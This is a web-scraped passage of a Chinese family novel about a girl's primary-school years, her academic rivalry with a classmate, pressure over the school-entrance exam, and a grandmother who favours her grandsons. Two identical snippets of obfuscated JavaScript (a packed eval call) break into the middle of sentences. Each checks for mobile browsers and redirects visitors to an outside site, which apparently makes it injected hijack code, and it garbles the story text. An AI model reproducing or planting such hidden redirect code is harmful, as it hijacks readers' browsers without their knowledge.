余序洲一边冲茶一边听着,时不时应上一两句。 “麻烦,真麻烦。” 陈慧柔端着痰盂从屋里出来,正好就听见这句话,如今的她和小时候已经不一样了,有什么话当面就敢说。 “爸,别人说三道四就算了,你怎么也跟着说妈。生病是她自己能控制的吗?她也难受,你不帮着顾着也就算了,老对着病人发脾气做什么。你要是实在控制不住情绪,就出门溜达,别待在屋里给病人气受。” 陈慧柔倒完痰盂又洗了一遍,眉头愣是没皱一下,这种脏活,余序洲看了都要别过脸,她却干得很自然。 “现在的保姆难找得很,这一个要是也气跑了,谁来照顾妈?你吗?” 她回屋的时候又忍不住补了两句,陈镇东被训得一个字都不敢说,闷头抽烟。 “希柠。”陈慧柔瞥了眼墙上的挂钟,“洗洗手穿上外套,让爸爸送你去大舅家。” 一听要去大舅家,余希柠欢喜地丢下粉笔跑进屋,三两下洗完手就套上外套,边往里走去屋里跟徐晓敏打招呼。 “阿嬷,我走了,下次再来看您。” 徐晓敏点了点头。 余希柠又哒哒哒跑出去,拽起还在喝茶的余序洲,对着陈镇东挥手:“外公我走了,拜拜。” 陈镇东淡笑:“拜拜。” 陈慧柔把余希柠抱上自行车后座,叮嘱她:“不准打弟弟,不准吵架,乖一点知道没。” “好。” “要听梓钰姐的话,听舅舅舅妈的话,不然下次就不带你去了。” “哎呀我知道。” 余希柠早就急不可耐了,推开陈慧柔的手,催着余序洲赶紧走。 到了陈敬涛家,余希柠进门人还没看清就先把招呼给打了—— “大舅好,大妗好。” 王君本在厨房洗菜,闻声回过头就看不见人影了,余序洲尴尬地指了指楼上:“跑上去找梓钰了。” 王君欲言又止。 得知余希柠刚从后街巷过来,陈梓钰放下手中的笔,懂事地问了下奶奶的情况。余希柠拿着陈梓钰给的透明小细管趴在地上折星星,漫不经心道:“阿嬷一直躺在床上,我妈跟她说话她就笑。” 余希柠动手能力很强,陈梓钰就教了一次,她就把小星星折得像模像样。就是这种手工太无趣了,没她在学校附近爬野坡、抓蟋蟀、抓蜻蜓来得有意思。 余希柠折了三颗就嫌手指头疼,把剩下的细管丢在一边:“梓钰姐,我每次去阿嬷家,她都叫不出我的名字,她好像不喜欢我。” 陈梓钰笑着和她解释:“奶奶是生病了,记忆力不好,不是叫不出你名字。” 余希柠摇头,笃定道:“才不是,她一听见我声音,就问我妈,是不是航航来了。我妈和她说,是希柠来了,不是航航。她又说,那航航什么时候来。” 她当时就站在房间门口,全听见全看见了,错不了。 陈梓钰捏细管的手顿住,半晌扯了扯唇角淡笑:“因为梓航是男孩子,是乖孙。跟我们不一样。” 余希柠理解不了一点:“有什么不一样,男孩女孩区别很大吗?陈梓航还不是一揍就哭。” 陈梓钰忍俊不禁,下一秒,她听到了门口传来的脚步声,赶忙把手中的细管和星星塞进柜子里,坐回到书桌上假装看书。动作之快,让余希柠都愣住了。 王君端着盘切好的水果上来,见陈梓钰坐在桌前学习,露出满意的笑容。下一秒就看到坐在地上的余希柠,唇角笑容微僵,一闪而过:“希柠,梓钰姐要学习,我们不要打扰她,去找梓航玩好不好?” 陈梓钰刚上六年级,明年七月就要参加小升初的考试了,尽管成绩已经很优秀,但王君还是把她看得很紧,片刻都不放松。 余希柠不爱跟陈梓航玩,他调皮得很,又不服管教,两人每次待在一起没多久就打架。大部分时候余希柠总能打赢,但陈梓航一不如意就哭,一哭,余希柠就挨骂。所以她不喜欢陈梓航。 “舅妈,我就在这安静待着?保证不打扰姐姐学习,我,我也看书!” 余希柠肯安静待着看书?王君半分都不相信。 “梓航刚买了新玩具,你可以去拆,先拆先玩。”还是陈梓钰比较了解余希柠:“那玩具枪还会出泡泡,你去试试看。” 一听这话,余希柠立马站起身来:“在哪呢?” “楼下的茶桌底下,黄色盒子装着。” 余希柠立马跑下楼,王君松了口气,把水果放到陈梓钰桌面:“边吃边学,别受影响了,等吃饭的时候我再喊你下来。” “好。” 王君离开顺便把门带上,隔着窗,陈梓钰隐约听到楼下小孩玩闹嬉笑声,她看了眼桌面上的习题卷子,叹了口气。 她讨厌六年级。 余希柠下楼拆玩具的时候,陈梓航就在旁边抢着要。余希柠一本正经地强调:“是姐让我来拿的,你都没她允许,不能玩。” “这是我的玩具!我的!” 眼看着陈梓航小嘴一撅,又要哭,余序洲赶忙劝余希柠把玩具给弟弟。 余希柠不喜:“凭什么他一哭就要给啊,是梓钰姐让我拆的。” 余序洲正头疼着该怎么劝,就听见门口有人在喊陈梓航的名字,叫他出去玩。陈敬涛隔壁邻居家有对小孩,也是姐弟组合,平日里陈梓航就跟他们俩玩。 但经常姐弟俩玩着玩着就被合起伙来欺负陈梓航,陈梓航年纪小打不过,除了大哭就不会别的,因为叫姐也没用,陈梓钰在学习根本不会理会他。 可余希柠来了就不一样了,表姐弟也是姐弟,尽管上一秒还在抢玩具,但下一秒她还是会带着陈梓航出去玩,手牵得紧紧的,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071795|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕他被欺负。 四个小人精在巷里追逐喊叫,上一秒还在扮警察和小偷,举着枪砰砰砰地喊,下一秒就说要演宫廷戏,陈梓航因为长得可爱,可以当五阿哥,俩姐姐抢着当小燕子,又是一番唇枪舌战。 “让陈梓航自己选。” 余希柠原本很有把握的,谁知下一秒,陈梓航红着脸指了指邻居女孩。 “她当小燕子。” 余希柠气得扭头就回家:“我不玩了。” 进门见王君正在搬圆桌,余希柠没忘记陈慧柔叮嘱的话,赶忙跑去洗手,然后帮忙端碗筷。 王君看了便夸:“希柠真乖。” 余希柠笑笑:“老师说了,在家里要帮大人做家务。” 王君:“行,那你上楼叫姐姐下来吃饭。” 余希柠:“好!” 王君催着陈敬涛去把陈梓航抓回来,自己往碗里分饺子。 一碗饺子,余希柠很快就吃光了,她很喜欢在大舅家吃饭,因为大妗手艺好,会做饺子、小馄饨、肠粉、煎饼…… 陈慧柔很少做这些面食,她想吃还得来大舅家。 本以为饭后能跟陈梓钰玩会,结果余希柠刚打开电视,王君就走过来,叫走了陈梓钰。 陈敬涛见余希柠眼巴巴地望着姐姐,解释道:“梓钰姐很快要参加小升初的考试了,等她考完试你再找她玩。” 余希柠不懂就问:“大舅,小升初是要考哪里啊?很难考吗?” “实验中学,千军万马过独木桥,哦就是很多人考,但是呢按照成绩只取排名靠前的学生。希柠以后也得认真学习,不然就考不上实中了。” 考不上实中就是很差劲吗,就没有其他中学可以念了?余希柠不懂,也不想懂。她只是觉得没有陈梓钰的陪伴,在大舅家的时间就显得很无趣,她才不要跟陈梓航玩。 傍晚,陈慧柔来接余希柠,路上小姑娘伸长脖子郑重道:“梓钰姐考上实中前,我不来大舅家了。” “为什么?” 陈慧柔惊讶不已,往常一到周末就嚷嚷着要去找陈梓钰玩的人,现在居然主动说不去了。 “这离中考还有半年多时间呢,你确定不会再去你大舅家?”在旁骑车的余序洲听了也是不可思议,怀疑女儿是在赌气,“不会是又跟陈梓航打架了吧?怕我们说你,就拿梓钰考试当借口。” “不是。”余希柠揪着陈慧柔的衣摆,板起脸来:“梓钰姐除了吃饭,其他时间都在学习,大舅说了,等她考完试我才能找她玩,那我肯定不来了啊。爸爸妈妈,小考非考不可吗?我以后也得参加小考吗?” 余序洲看了眼陈慧柔,小声讨论:“你大哥这也抓得太紧了,这才刚第一学期。” “他想让梓钰试试能不能考金中或者广州那边的中学,听说有些学校不限户口所在地,可以报考,只要通过校招卷子就行。” 之前陈慧柔偶有耳闻,本以为陈敬涛是在开玩笑,现在看来,强压之下是有这个打算了。 “金中和广州的中学都不好考,估计想让梓钰再加强一下难度。” 陈慧柔瞥了眼余希柠:“你以后也得参加小考,所以要像梓钰姐一样努力知道吗?你越早努力,后面就越轻松,就不用除了吃饭其他时间都用在学习上了。” 余希柠把头摇得跟拨浪鼓似的,非常排斥:“我才不要,那样就不是快乐小柠了。老师说了,童年一定要过得快乐,因为童年只有一个。” 这晚,余希柠梦里都是那些看不懂的卷子,重重地压在她的身上,怎么使劲踢都踢不开。 陈慧柔睡前过来给她掖被子,刚盖好,她就踢开,嘴里喊着不要不要。屋外的余序洲也听到动静,进来看。 “做梦了?” “看样子是。”陈慧柔把被子掖好,推着余序洲出去,憋不住小声说:“估计这不要不要,是不想做卷子,不想学习。” 女儿的心思,她当妈的总是一猜就中。 次日余希柠生病了,因为半夜踢被子着了凉,第二天头昏脑热,食欲不振。粥喝到一半就吐了,病恹恹缩在被窝里,小脸无精打采,可怜兮兮的。 假期结束返校,余希柠语文作业和数学作业都没做完,老师问起时,她扁了扁嘴道:“老师,我生病了,吃饭吐还拉肚子,我妈让我睡觉不让我学习。” 当老师的一听就知道是借口,但还是没有当面拆穿,装作很关心道::“病了一星期吗?” 余希柠点点头。 老师:“下课后我给你家长打个电话,你先上课吧。” 陈慧柔得知女儿一半作业都没写完,还和老师说自己病了一个假期,气不打一处来,感冒就两天!什么叫病了一星期! 当晚陈慧柔站在余希柠桌前,逼着她把所有作业都写完,签名确认才放她去睡觉。 “我才一年级啊……”余希柠打着呵欠,“算是体会到六年级的苦了。” 陈慧柔帮她收拾书包,听到这句差点把作业本拧成棒打过去,也不知道她这偷懒犯困耍小聪明的劲,是像谁! 19. 小学 自余希柠上小学后,陈慧柔就申请教一年级,从头开始带到毕业班,为的就是能及时跟进女儿的学业进度,好针对性地进行辅导。 黄沐卿陪着她一起,继续做搭档,带娃之余有时间了也会给余希柠补课。 强压之下,余希柠小学成绩基本没掉出班级前三,但相比语文和英语,数学成绩还是不稳定,考试题目只要提高难度,她就做不出来。 黄沐卿坦言:“希柠这种类型的学生,就得多做题,刷题刷到她把这个解题思路给记牢了才可以。不然人家稍微改一下题目,公式还是那个公式,可她就做不出来了,归根到底还是不熟悉。” 陈慧柔二话不说:“练!给她加练!” 数学卷子又多了两张。 像是想起什么,她又问黄沐卿:“屿沉这次期中考考得怎么样?又是第一名吗?” “对啊,我妹家那个,都不用操心的,自己一回家就搬桌子去学习,爸妈做生意哪里管得了他。” 陈慧柔听了羡慕不已,扶额道:“希柠要是有屿沉一半自律就好了,我跟序洲也能省点心。每天事情那么多,还要操心她的学习,我都觉得自己老了十岁。” 一想到这样的日子还有十几年,陈慧柔就觉得一片昏暗。 林屿沉是黄沐卿小妹的儿子,和余希柠是同班同学,俩人都是班干部,每周三还搭档值日。 班干部值日的内容是每天早上,最早到教室,带领同学早读,管理早读课堂纪律,登记迟到同学名字。午休结束后给同学出黑板题,第一节课上课前提交给老师检查批改。 因为从小跟在陈慧柔身边,在学校环境下长大,所以余希柠学起陈慧柔当班主任的样子是一套一套的,每周就盼着值日这天可以发发官威。 一周里,就周三她起得最早,红领巾戴得整齐,又从书架上取下宝贵的二道杠徽章,迫不及待让陈慧柔帮忙戴上。 到了教室,双手背在身后,铃声一响,余希柠就开始拿笔唰唰唰登记迟到同学的名字,迟一分钟都不放过。 同样是班干部的搭档林屿沉,一到教室就拿出书本,只管领早读,压根不去搭理余希柠的“管理行为”。见她戴着二道杠的徽章巡视课堂纪律,他摸了摸自己手臂,又忘戴了。 但好像其他班干部值日的时候也没戴过。 早读结束,余希柠把《班级纪律手册》交回到讲台上,林屿沉瞥了一眼迟到那一栏,密密麻麻的都是名字。 “希柠希柠,我今天就迟到了两分钟,能不能把我名字涂掉啊!” “希柠,我下次一定提早来,我踩点进来的没迟到。” 几个同学挤上来围观,见自己名字被登记在册,纷纷向余希柠“求饶”。余希柠本着刚正不阿的态度拒绝了放水行为,拿着课本回到自己座位上。 林屿沉翻了翻前几日的登记表,发现除了他们值日这天,表格里写得满满的,其他人都没什么内容,迟到的人也很少。总不可能都集中在周三这天迟到吧,他微微皱眉。 班主任上课前会翻阅手册查看,对迟到频率较高的同学进行批评警告,林屿沉见那几个踩点到的同学一脸垂头丧气,想了下,拿起笔划掉了那几个名字。 上午放学,余希柠叫住林屿沉。 “下午我出黑板题,你来登记纪律表行不行?” 林屿沉点头,在这种事情上他从来不争,也知道余希柠喜欢写黑板字,那就让她出得了。 余希柠笑嘻嘻:“行,那我回家找题,先走了。” “希柠!”林屿沉叫住她,想了下还是提出建议:“不要找太多题,半小时,大家题目都抄不完。” 因为喜欢板写,余希柠找的题量都很多,有时候甚至密密麻麻写了一整面黑板,同学进教室一看唉声叹气的。 余希柠歪着头看林屿沉:“你也抄不完吗?” 林屿沉愣了愣,下意识嗯了声。 余希柠果断答应:“好,年级第一都抄不完那就真是抄不完,我少写一些就是了。” 林屿沉:“……” 因为黄沐卿的关系,余希柠知道不少林屿沉家里的事,知道他爸妈都在做生意,没空管他学习,对此羡慕不已。 毕竟陈慧柔和余序洲恨不得把她盯牢在书桌前,她可太羡慕没有大人管着的日子了。 以至于当陈慧柔训斥她,能不能向林屿沉学习的时候,她总会来一句—— “那你们能不能像他爸妈一样,不要管我呢?我自己合理安排时间,才不会带着情绪学习,效率才会高,成绩才能提上去啊。” 陈慧柔和余序洲哑口无言。 期中考结束后的第二周,学校召开家长会,陈慧柔要去照顾徐晓敏,没空参加,任务就落在余序洲身上。 “你多和班主任交流一下,别一去就坐在最后一排,结束就跑。” 余序洲心里的打算被陈慧柔猜中了一大半,忍不住说道:“这有什么好交流的,又不是成绩下滑需要关注在校纪律。” “当然要!如果林屿沉爸爸也去,那你俩最好能坐一起,好好交流一下经验。” “我都没见过林爸爸。” “认啊,三分像总有的吧,再说了,年级第一老师肯定会点名表扬家长,一看你就是没开家长会的经验。” 陈慧柔着急着走,补充完这两句话就离开了。 余序洲看了余希柠一眼,催促她:“快点,换上鞋子要出门了。” 开家长会,学生也得去,主要是领成绩单,家长在教室里开会时,孩子就是自由时间,等结束了和家长一块回家就行。 学校操场旁边有个小山坡,原来是两个长方形的花圃,后来铲掉了说是要扩建出一个自然园,这会儿还没完全弄完。土块堆积成小山模样,旁边长满了野草,在低年级学生眼里,就是个天然冒险之地。 余希柠等余序洲的时候无聊,就跑到那玩单杠跟沙子,远远见林屿沉坐在花圃旁边翻书,就喊了一声:“林屿沉!过来玩!” 林屿沉回头看了眼,见是余希柠,假装没听见,顾自看书。 余希柠见对方不理睬自己,就从单杠上跳下来,拍了拍屁股后面的沙子,跑过去。陈慧柔总是在她耳边说,要向林屿沉学习,要和林屿沉做朋友,余希柠就不明白了,这么无趣的人,妈妈怎么会那么喜欢,就因为成绩好吗? “喂,你要不要去爬山?” “不去。”林屿沉头也没抬就拒绝。 余希柠抬脚碰了一下林屿沉的鞋尖,双手叉着腰:“你要是能爬赢我,我就跟你做朋友怎么样?” 林屿沉闻声,抬头看她,不是很理解这突如其来的比赛是为了什么。 “我……” “做我朋友很难的,我余希柠不是随随便便就跟人好的,光学习好不行,还得厉害。” 余希柠说得有板有眼,林屿沉却被“厉害”二字吸引住,他合上手里的书,站起来问:“怎么算厉害?” “那!”余希柠指着那个小土坡,眼里兴奋难掩:“谁先爬上去,谁就是第一名!最厉害的那个!” 林屿沉顺着她手指着的地方望过去,半晌点头答应。 小山坡其实就是土堆,土块看似硬结其实一踩就松,旁边也没有可以攀扶的树枝或石头。就是这样一个地方,对余希柠来说是个跟林屿沉一决高下的宝地。 “准备好了吗?我喊三二一就开始,谁先登顶谁就赢!” “好。” 余希柠发出口令,率先冲了上去,林屿沉紧随其后。 教导主任刚开完会准备回家,正好看见这一幕,之前就吩咐过各班级班主任要跟学生说清楚,三令五申强调不许在施工地方玩耍。现在好了,让他抓到现行,看上去还是两低年级学生。 “你们两个!哪个班的!赶紧下来!” 余希柠听到喊声回过头,见是教导主任也丝毫不慌。林屿沉就不一样了,他是好学生,从来都只有被表扬,没有被批评的份,突然听见这一声,吓了一跳,脚下踩滑,从旁摔了下去。 “啊——” 余希柠头发凌乱,校服裤上沾满了泥土,刚想说快跑,就看见林屿沉摔了下去,表情霎时变了:“林屿沉!” 入秋后,徐晓敏的病情反反复复,昏睡时间越来越长,也就是上午十一点多到下午三四点这个时间段是清醒的。 陈慧柔周末通常会赶在这个时间去看徐晓敏,聊聊天,有时还会帮她清洗身子换衣服。亲戚们都夸陈家有这个大女儿是福分。谁家女儿嫁人了,还天天往娘家跑,反观儿媳妇,也没来得这么勤。 外人怎么说,陈慧柔一贯是不在意的,她只是凭良心对父母好,尽管从前他们也偏心,但为人子女总是见不得父母老时不能自理的样子。 陈慧柔始终觉得自己的真心,是可以被看见的。 至于王君,陈慧柔和她的关系也处得不错,对此黄沐卿特别佩服。 黄沐卿是直性子,向来都是有什么说什么,自身条件摆在那,夫家能力又高,训人总是自带气场,看不惯什么就直说,对方也不会和她逆着来。 王君就是黄沐卿看不惯的人,对外像是社交高手,净说漂亮话,但其实都是为了利益,有几分心思全摆在台面上。对内则是只顾着小家,恨不得把所有权力都掌握在自己手上,锱铢必较。 陈慧柔跟这种人相处,基本都是吃亏的份。黄沐卿让她和王君学着点,关键时候也装糊涂,撇清责任,否则到头来吃力不讨好。 当初王君就是借由陈梓钰要中考,陈梓航又还小,要照顾俩孩子,实在分不出身来照顾徐晓敏,陈慧柔这才揽下大大小小的事。 “希柠今天怎么没来啊?” 徐晓敏难得念起余希柠,陈慧柔笑了笑:“她学校今天开家长会,等结束了,序洲就载她过来。” 听到说开家长会,徐晓敏问起余希柠的成绩,听说她这次期中考考了班里第三,夸了句很棒。 陈慧柔:“等她来了你再夸她,她一定很开心。” “阿柔,你现在和公婆相处得如何了?住在一起,要谦让,有些亏啊,得吃,以后才能有好日子。” 陈慧柔眉眼原本挂着淡淡的笑,听到这话,表情立马就变了,察觉到徐晓敏又开始犯糊涂,她只得耐心解释。 “妈,我现在没有和公婆住在一起了,我们早就搬出来了你忘了吗?希柠刚满一岁,我们就搬出来了,那会没钱租房,还是你跟阿爸帮我跟楚新伯说的情,好让我们住在一小的休息室里。” “哦……是吗。”徐晓敏费力抬起手,摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071796|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了摸脸,用笑容掩饰:“是我记错了。” 陈慧柔敛下眸藏起情绪,又把这些年的事情像讲故事一样讲给徐晓敏听—— 96年家里添了两只小鼠,一只米奇,一只米妮。米奇是陈敬涛的儿子陈梓航,米奇是陈敬禹的女儿陈时宜,陈时宜比陈梓航大几个月,是五月份出生的。 这一年陈敬涛购置新房,就是现在住的地方,原本长辈也是跟着住过去的,但徐晓敏自己要求要搬回来后街巷。远在深圳的陈敬禹辞职考公并顺利上岸,现在在工商局上班,周末有空才回来。 她和余序洲是千禧年搬进的新家,徐晓敏当时还送了她一台新的电视,现在还放在客厅用着,从前的小彩电搬到主卧去了。 2001年陈梓钰考上了金中,在学校住宿,余希柠也上了小学,成绩还行。这年陈慧琪大学毕业,留在广州一家外企工作,是时下社会最潮的精英白领。 2004年陈慧琪结婚了,婚礼是回来小镇上办的,男方是她大学同学,也是潮汕人,现在两人都在广州发展,很少回来。 今年余希柠上小学四年级,7月份陈梓钰就要参加中考了。 陈慧柔讲到这里的时候,徐晓敏已经睡着了,一开始她还会回应一两句,到后面就安静了。屋外传来摩托车排气管发出的突突声,紧接着就听到陈镇东起身出去打招呼的声音。 “你们来了。” “阿公!” 余希柠跳下车,秀了下手上新买的百变小樱魔法棒,家长会上受到老师表扬,来的路上缠着余序洲买的。 陈镇东笑得和蔼:“听你妈妈说期中考考得不错?外公奖励你点零花钱,来,拿去买喜欢的糖果吃。” 一张崭新的十元纸币,对余希柠来说算不少钱了。陈慧柔和余序洲从没给过她零花钱,她也没有拿零钱的习惯,所以不好意思拿。 “阿公不用,不用给我零花钱。” “拿着吧,梓航来的时候我也给的。” 一听陈梓航都有,余希柠看了余序洲一眼,把钱收下。 “家长会开得怎么样?” 陈慧柔出来第一句话问的就是这个,余希柠抢着回答,被老师夸这种事当然得说得人尽皆知才行。 “是吗?” 陈慧柔半信半疑看向余序洲,后者点了点头:“她的作文是满分,还被印成范文贴在教室黑板下面展出。” “哦?” 陈慧柔揉了揉余希柠脑袋,刚想夸她真棒,就注意到了脏兮兮的裤腿:“你这是开家长会去了还是开矿去了?怎么弄得这么脏?” 余希柠就知道瞒不过,心虚地跑到陈镇东身后躲着。 陈慧柔看向余序洲:“怎么回事?” 余序洲无奈道:“她非拉着林屿沉去比赛爬土坡,她只是弄脏了裤腿,林屿沉从土坡上摔下来,膝盖都擦破皮了。” 陈慧柔一听,“啊”了一声:“严重吗?” “还好吧,男孩子坚强,也没哭,就是两人被教导主任抓了个正着,训了一下。” 余序洲都觉得很无语,前一秒在教室里刚听表扬,下一秒就看见余希柠像脏兮兮地小鸡仔似的被教导主任拎到教室门口。 陈慧柔光是想象都有了画面:“就这样你还给她买仙女棒!” 余序洲:“那批评归批评,奖励归奖励,奖惩分明嘛。” “阿嬷睡了吗?我还得跟阿嬷打招呼呢!” 余希柠装乖,探头往里张望了下,见里屋帘拉着,也不知道能不能进去。 陈慧柔无奈挥手:“进去打声招呼,阿嬷下午还在念叨你,问你期中考考得怎么样。” “真的?”余希柠又惊又喜,她很少听到阿嬷会问起她,连带着进里屋的步伐都轻快了不少:“阿嬷!” 徐晓敏醒了,缓缓睁开眼睛,待看见人影,脱口而出:“梓钰?” 余希柠雀跃的表情一瞬间僵住,像从前无数次一样耷拉着肩膀无奈解释:“阿嬷,我是希柠,余希柠。” “啊,希柠……” 徐晓敏像是还糊涂着,往外面张望了一下:“航航来了吗?” 跟进来的陈慧柔恰巧听到这句,下意识看了眼余希柠,然后大声解释:“妈,没有航航,他没来。是希柠来了,我女儿希柠。” 余希柠对着陈慧柔比出摊手耸肩的动作:“还是让阿嬷休息吧。” 陈慧柔本能察觉到余希柠的情绪,牵着她的手解释:“妈妈没骗你,阿嬷下午的时候真的问起你了,她这会刚睡醒,还不清醒。” 余希柠笑着摇摇头:“没事,又不是第一次了。” 她跑跑跳跳地离开,模样看上去是真的不在意,但陈慧柔的心却揪在一起,甚至有些怨徐晓敏。 “妈,你怎么老了还这么偏心呢。” 陈慧柔说得很轻,却也是说出来了。 余希柠在回去的路上睡着了,看上去好像并没有因为徐晓敏的话而受到什么影响。 倒是余序洲,原本是想进去和丈母娘打声招呼,谁知就听到了那句话。 “你妈也不是第一次了,总当着希柠的面,问起梓航。你嫂子是不常带梓航过去吗?” 陈慧柔摇摇头,敛眸:“梓航年纪小也不懂,去了待不住,也不爱去。” 20. 委屈 四年级第二学期的期末考,余希柠破天荒考了班里第一名,全靠语文这一科拉分。 因为知道陈慧柔是小学语文老师,回校领成绩单那天,有同学跑到余希柠桌旁问她。 “余希柠,你考这么高的分,是不是你妈给你透题了啊?” 余希柠刚帮老师发完暑假作业,听到这句猛地扭过头:“怎么可能。” 同学诧异,一脸不相信:“那你语文分怎么那么高,阅读理解都能得满分。一定是你妈妈给你透题了!” “我说了没有。” 余希柠最受不了委屈,嗓门一大,周围的人纷纷看了过来。包括平日里经常考第一的林屿沉,他这次语文没考好,总分比余希柠少了两分。 同学趴在余希柠桌前,笑嘻嘻的:“下次考什么你提前告诉我呗,我请你吃校门口的海石花。” “我都说了我不知道题目,告诉你什么。” 余希柠用力摔了一下作业本,很是不耐烦。 “恼羞成怒了?真是自私,有考题都不告诉大家。” 正好班主任进教室,那个同学也就回自个儿座位上了,嘴里还在嘀咕着:“肯定透题了,家里有个妈当老师就是好。” 余希柠听见了,攥紧了手指,一脸气鼓鼓。若不是班主任在,她真想冲过去理论,让她闭嘴。 班会结束,意味着假期正式开始,班主任再三叮嘱要注意安全,切勿放松学习,要按时完成暑假作业。 余希柠把奖状卷起来塞进书包里,以前领到奖状她都舍不得折弯一个角,可今天她上台领奖的时候,一点都不开心。 老师颁发奖状颁到她这里的时候,什么话都没有说。从前林屿沉考第一的时候,老师都会和他说上两句话,让他和同学分享学习经验之类的。 想到这,余希柠的表情更失落了,正好林屿沉从旁经过。 “喂。” 余希柠拉住林屿沉,他偏过头来,眼睛乌黑,睫毛浓长又密。很少看男孩子有这么浓密卷翘的眼睫毛。 余希柠咬了咬唇,心里既不甘又委屈:“我这次考得比你高分,你是不是也觉得我妈给我透题了?” 林屿沉目光缓慢落在余希柠脸上,她同桌宋乔也没走,正背着书包在一旁等着。 “所以有吗?” “当然没。”余希柠迅速否认。 她都要气哭了,好不容易考了个第一,怎么全世界都说她提前知道了考试题目,从前林屿沉考第一的时候怎么没人说! 林屿沉点点头:“那不就好了。” “不好,我考得比你高,所有人都觉得我这就是透题了,难不成第一就一定得是你吗?” 班里头还有人没走,都听到了余希柠这句话,感觉她下一秒眼泪就要掉下来似的。 林屿沉皱了皱眉头,看了眼周围同学,朗声:“考试,总有发挥得好或者不好的时候,你是个很强的对手,我也没有觉得第一就得是我的。别人说的话,既然不是真的,就没必要放在心上,大不了你下次再考个第一,堵住他们的嘴就是了。” “我会的!”余希柠甩起书包背上,拉着宋乔的手:“乔,我们走。” 林屿沉让开道,等人过去了,无所谓地跟在后面。 自那日起,余希柠就把林屿沉当成了自己的竞争对手,听不得他的名字,一听就容易激动。 有次陈慧柔在餐桌上感叹,买菜的时候经过林屿沉家的铺子,见他搬了张桌子在门口写作业,那么嘈杂的环境下都能认真学习,注意力很集中,果然是学习的好苗子。 余希柠哼哼了两声:“他就是摆在门口故意让人看的。” 陈慧柔瞥了她一眼:“你怎么能这么想,你以为每个人的学习环境都像你这么好吗?林屿沉家条件就是艰苦。” 余希柠半个字都听不下去,不就是学习吗,她也去。 “我吃饱了,写作业去了。” “哎,刚吃完饭别直接坐在书桌前,出去走走消消食再回来写作业。” 陈慧柔话都还没说完,房间门砰的一声就关上了,她回过头来看了余序洲一眼:“这是怎么了?” “你别激她,有话好好说。” 余序洲继续悠闲吃饭。 陈慧柔甚是不解:“我哪激她了,真要激得起,那我巴不得天天说。操心了几年头一回见她这么主动去学习,也不知道是不是又三分钟热度。” 八月中旬,第十号台风“珊瑚”正面袭击饶平,气象局早早就做了预警,县里有关部门也提前做好抗台防汛工作。 陈慧柔一大早就去菜市场买菜,肉价没太大变化,菜价翻了两倍不止,可即便如此,很多菜摊子还是被一抢而空。 陈慧柔也买了不少,因为陈敬涛一家要来住一两天。陈家的房子地势低,之前县境发生特大暴雨,当时一楼全淹了。 如今这个台风来势汹汹,陈慧柔看了天气预报后主动提议陈敬涛,带全家人来家里挤一挤,免得又出现上次的情况,断水断电生活也不方便。 大舅一家来,余希柠是最开心的,因为又可以跟陈梓钰、陈梓航玩了。中考结束前,陈慧柔怕余希柠影响陈梓钰学习,都没带她去陈敬涛家,姐妹俩有段时间没有待在一起了。 电视里正在播《仙剑奇侠传》,余希柠最喜欢看这种带仙侠元素的古装剧。几年前陈慧柔无意中聊天提起94年那场地震,说余希柠像预先知一样,反常地大哭吵闹不睡觉,非得下楼才安静,结果就发生了地震。 打那时起,余希柠就觉得自己上辈子可能是神仙,别的同学喜欢看数码宝贝、还珠格格,她喜欢封神榜、欢天喜地七仙女和仙剑奇侠传。 这个暑期档的电视剧实在太好看了,全是神仙打架,余希柠做梦都在念咒语比手势。就想等着陈梓钰考完试,来陪她一块做仙女手串。 珠子和软绳是提前买好的,女同学之间很流行编这些,余希柠不会,也怕被陈慧柔发现没有认真学习,就没有买过。陈梓钰来了以后,按照余希柠提前画好的图给她编了两串,小女孩开心得不得了,吃饭都不舍得把珠串摘下来。 家里来了客人,陈慧柔就没有特别严格地管余希柠的学习,外面下着雨,姐弟三人挤在房间里看电视,一集电视剧接着一集动画片,配着可乐和零食,余希柠连晚上做梦都是笑着的。 八月一结束,就到了开学的日子。升上五年级,余希柠明显感觉到了压力,陈慧柔开始把“小升初”三个字挂在嘴边,对每一场考试都格外看重,哪一个科目考得不好,就要加练。 五年级的暑假,余希柠基本在补课中度过,也没有去哪儿玩,因为开学她就是六年级毕业生了。教毕业班的节奏陈慧柔已经很熟练地掌握了,语文这个科目每年的出题变化不会很大,拉分基本在阅读理解和作文上。 黄沐卿从市内找了几套真题过来印给学生们练,给余希柠和林屿沉也留了一份。 “你有没有打算让希柠试试考金中啊?” 陈慧柔摇头:“金中是住宿生活,我不放心。” “这有什么,孩子学东西都快,去了就会了。你大哥的女儿之前不也是考上了金中?” 黄沐卿觉得县里的教育也就那样,每年在市里排名基本都是垫底,孩子要是想往外发展,能去市里读自然是更好。 金中是市重点,又有高中部,若能直升上高中,那高考重本率基本在85%以上。 “正因为梓钰去过了,所以我才不想希柠去。梓钰学习那么认真的孩子都说有时候跟不上,压力太大,市里的孩子又都有些排外。” 陈梓钰中考的时候没发挥好,没能考上金中高中部,但成绩依旧能进二中重点班。连她都做不到的事情,更别说余希柠了,陈慧柔还是摇头:“她能考上实中我就阿弥陀佛了。” 黄沐卿会这么问,想必和林屿沉多少有点关系,陈慧柔顺势问了一下。 